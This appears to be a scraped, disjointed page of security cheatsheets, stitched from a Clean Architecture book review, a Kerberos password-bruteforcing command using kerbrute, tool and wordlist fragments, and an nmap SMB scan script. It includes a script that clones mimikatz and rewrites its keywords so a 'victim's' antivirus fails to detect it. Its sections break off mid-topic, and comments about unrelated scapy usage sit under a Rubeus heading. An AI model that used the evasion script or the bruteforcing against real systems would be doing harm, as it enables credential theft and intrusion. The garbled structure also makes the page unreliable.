gnebbia gnebbia

Summary of book "Clean Architecture" by Robert C. Martin

Uncle Bob, the well known author of Clean Code, is coming back to us with a new book called Clean Architecture which wants to take a larger view on how to create software.

Even if Clean Code is one of the major book around OOP and code design (mainly by presenting the SOLID principles), I was not totally impressed by the book.

Clean Architecture leaves me with the same feeling, even if it's pushing the development world to do better, has some good stories and present robust principles to build software.

The book is build around 34 chapters organised in chapters.

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

	# scapy
	# scapy is cool and works flawlessly
	# If you ever think about using pyshark, as of september 2020 don't!
	# pyshark, although supporting a lot of protocols, has a lot of bugs.
	# NOTE: A high level network sniffer reporting some stats is YAS:
	# https://github.com/redcode-labs/YAS


	## Getting Help

	# Tools
	nmap
	metasploit
	wpscan
	burpsuite
	rustscan
	python
	hydra
	ncrack
	john

	# Cool Gemini Capsules

	# Docs about Gemini and useful resources (Start Here)
	gemini://gemini.circumlunar.space
	gemini://gemini.circumlunar.space/docs/faq.gmi
	gemini://geminiquickst.art/

	# Search Engines
	gemini://geminispace.info

	cgi-bin
	images
	admin
	includes
	modules
	templates
	cache
	media
	js
	language

	# This script downloads and slightly "obfuscates" the mimikatz project.
	# Most AV solutions block mimikatz based on certain keywords in the binary like "mimikatz", "gentilkiwi", "[email protected]" ...,
	# so removing them from the project before compiling gets us past most of the AV solutions.
	# We can even go further and change some functionality keywords like "sekurlsa", "logonpasswords", "lsadump", "minidump", "pth" ....,
	# but this needs adapting to the doc, so it has not been done, try it if your victim's AV still detects mimikatz after this program.

	git clone https://github.com/gentilkiwi/mimikatz.git windows
	mv windows/mimikatz windows/windows
	find windows/ -type f -print0 \| xargs -0 sed -i 's/mimikatz/windows/g'
	find windows/ -type f -print0 \| xargs -0 sed -i 's/MIMIKATZ/WINDOWS/g'

gnebbia gnebbia

Summary of book "Clean Architecture" by Robert C. Martin

Kerberos cheatsheet

Bruteforcing

Command Line Crash Course

Related tutorials

Cheatsheets

	# to generate your dhparam.pem file, run in the terminal
	openssl dhparam -out /etc/nginx/ssl/dhparam.pem 2048

	#!/bin/bash
	if [ $# -eq 0 ]
	then
	echo $'Usage:\n\tcheck-smb-v3.11.sh TARGET_IP_or_CIDR'
	exit 1
	fi

	echo "Checking if there's SMB v3.11 in" $1 "..."

	nmap -p445 --script smb-protocols -Pn -n $1 \| grep -P '\d+\.\d+\.\d+\.\d+\|^\\|.\s+3.11' \| tr '\n' ' ' \| replace 'Nmap scan report for' '@' \| tr "@" "\n" \| grep 3.11 \| tr '\|' ' ' \| tr '_' ' ' \| grep -oP '\d+\.\d+\.\d+\.\d+'